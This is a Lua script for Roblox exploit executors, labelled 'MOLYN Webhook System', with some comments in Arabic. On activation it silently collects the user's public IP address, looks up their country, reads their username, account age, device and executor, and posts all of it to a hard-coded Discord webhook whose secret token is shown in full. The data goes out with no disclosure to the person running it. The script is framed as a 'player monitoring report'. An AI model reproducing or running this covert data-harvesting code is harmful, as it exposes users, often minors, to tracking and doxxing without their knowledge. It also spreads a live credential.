-- MOLYN Webhook System (Standalone) -- Developed by coco_w12345 local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local MarketplaceService = game:GetService("MarketplaceService") local player = Players.LocalPlayer -- Webhook URL local DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1411271794924716093/vvnsjE-cKxzq_na1xCX1IU03umqATEtHVBvQkxzAvwD48Dd2hM1T0rF5LNvfRjxIT32_" local http_request = (syn and syn.request) or (http and http.request) or (http_request) or (request) or (httprequest) or (fluxus and fluxus.request) -- جدول تحويل رموز الدول إلى أسماء كاملة local CountryCodes = { ["US"] = "United States", ["GB"] = "United Kingdom", ["DE"] = "Germany", ["FR"] = "France", ["CA"] = "Canada", ["AU"] = "Australia", ["JP"] = "Japan", ["CN"] = "China", ["RU"] = "Russia", ["BR"] = "Brazil", ["IN"] = "India", ["SA"] = "Saudi Arabia", ["AE"] = "United Arab Emirates", ["EG"] = "Egypt", ["JO"] = "Jordan", ["KW"] = "Kuwait", ["QA"] = "Qatar", ["BH"] = "Bahrain", ["OM"] = "Oman", ["IQ"] = "Iraq", ["SY"] = "Syria", ["LB"] = "Lebanon", ["YE"] = "Yemen", ["PS"] = "Palestine", ["MA"] = "Morocco", ["DZ"] = "Algeria", ["TN"] = "Tunisia", ["LY"] = "Libya", ["SD"] = "Sudan", ["SO"] = "Somalia", ["TR"] = "Turkey", ["IR"] = "Iran", ["IL"] = "Israel", ["PK"] = "Pakistan", ["AF"] = "Afghanistan", ["UZ"] = "Uzbekistan", ["KZ"] = "Kazakhstan", ["KR"] = "South Korea", ["SG"] = "Singapore", ["MY"] = "Malaysia", ["ID"] = "Indonesia", ["PH"] = "Philippines", ["TH"] = "Thailand", ["VN"] = "Vietnam", ["IT"] = "Italy", ["ES"] = "Spain", ["NL"] = "Netherlands", ["BE"] = "Belgium", ["CH"] = "Switzerland", ["SE"] = "Sweden", ["NO"] = "Norway", ["DK"] = "Denmark", ["FI"] = "Finland", ["PL"] = "Poland", ["UA"] = "Ukraine", ["CZ"] = "Czech Republic", ["AT"] = "Austria", ["HU"] = "Hungary", ["RO"] = "Romania", ["GR"] = "Greece", ["PT"] = "Portugal", ["IE"] = "Ireland", ["MX"] = "Mexico", ["AR"] = "Argentina", ["CL"] = "Chile", ["CO"] = "Colombia", ["PE"] = "Peru", ["VE"] = "Venezuela", ["ZA"] = "South Africa", ["NG"] = "Nigeria", ["KE"] = "Kenya", ["ET"] = "Ethiopia", ["GH"] = "Ghana", ["UG"] = "Uganda", ["TZ"] = "Tanzania", ["ZM"] = "Zambia", ["ZW"] = "Zimbabwe", ["MW"] = "Malawi", ["MZ"] = "Mozambique", ["AO"] = "Angola", ["CM"] = "Cameroon", ["CI"] = "Ivory Coast", ["SN"] = "Senegal", ["ML"] = "Mali" } -- Get IP address local function GetIPAddress() local url = "https://api.ipify.org" local retries = 3 for i = 1, retries do local success, response = pcall(function() return http_request({ Url = url, Method = "GET", Timeout = 5 }) end) if success and response and response.StatusCode == 200 then return response.Body:gsub("%s+", "") end task.wait(1) end return "Unknown" end -- Get country from IP address with full name local function GetCountry(ipAddress) if ipAddress == "Unknown" then return "Unknown" end local services = { "https://ipapi.co/" .. ipAddress .. "/country_name/", "https://ipapi.co/" .. ipAddress .. "/country/", "https://ipinfo.io/" .. ipAddress .. "/country", "https://api.country.is/" .. ipAddress } for _, url in ipairs(services) do local success, response = pcall(function() return http_request({ Url = url, Method = "GET", Timeout = 3 }) end) if success and response and response.StatusCode == 200 then local countryData = response.Body:gsub("%s+", "") if countryData and countryData ~= "" and countryData ~= "undefined" then -- إذا كان الاسم الكامل للبلد if #countryData > 2 and not countryData:match("^[A-Z][A-Z]$") then return countryData end -- إذا كان رمز البلد (مثل US, GB) نحوله إلى الاسم الكامل if CountryCodes[countryData] then return CountryCodes[countryData] end return countryData end end task.wait(0.5) end return "Unknown" end -- Get player info local function GetPlayerInfo() local executor = identifyexecutor and identifyexecutor() or "Unknown" local device = "Unknown" local ipAddress = GetIPAddress() local country = GetCountry(ipAddress) -- Get device type local UserInputService = game:GetService("UserInputService") if UserInputService.TouchEnabled then device = "Mobile Device" else device = "PC/Laptop" end return { executor = executor, country = country, device = device, ip = ipAddress } end -- Send webhook local function SendWebhook(url, data) if not http_request then return false end data["username"] = "MOLYN HUB" data["avatar_url"] = "https://imgur.com/gallery/spy-bot-vytTqYx#mvMLTNn" local success, response = pcall(function() local response = http_request({ Url = url, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(data) }) return response end) if not success then return false end return true end -- Send monitoring data local function SendMonitoringData() local playerInfo = GetPlayerInfo() local gameName = MarketplaceService:GetProductInfo(game.PlaceId).Name local accountAge = player.AccountAge local userId = player.UserId local avatarUrl = string.format("https://www.roblox.com/headshot-thumbnail/image?userId=%d&width=420&height=420&format=png", userId) local data = { ["content"] = "🚀 MOLYN HUB ACTIVATED", ["embeds"] = {{ ["title"] = "🔍 PLAYER MONITORING REPORT", ["description"] = "```diff\n+ New script activation detected\n```", ["color"] = 14423100, ["thumbnail"] = { ["url"] = avatarUrl }, ["fields"] = { {["name"] = "👤 Player", ["value"] = player.Name, ["inline"] = true}, {["name"] = "🌐 IP Address", ["value"] = playerInfo.ip, ["inline"] = true}, {["name"] = "📍 Country", ["value"] = playerInfo.country, ["inline"] = true}, {["name"] = "🎮 Game", ["value"] = gameName, ["inline"] = true}, {["name"] = "⚙️ Executor", ["value"] = playerInfo.executor, ["inline"] = true}, {["name"] = "📱 Device", ["value"] = playerInfo.device, ["inline"] = true}, {["name"] = "📅 Account Age", ["value"] = accountAge.." days", ["inline"] = true}, {["name"] = "🕒 Time", ["value"] = os.date("%X - %d/%m/%Y"), ["inline"] = true} }, ["footer"] = { ["text"] = "🔐 MOLYN HUB v8.0 | "..os.date("%Y-%m-%d") } }} } local success = SendWebhook(DISCORD_WEBHOOK_URL, data) return success end -- Initialize webhook system local function InitializeWebhookSystem() if not game:IsLoaded() then game.Loaded:Wait() end -- Send initial monitoring data SendMonitoringData() return { SendMonitoringData = SendMonitoringData, GetPlayerInfo = GetPlayerInfo } end -- Return the webhook system return InitializeWebhookSystem()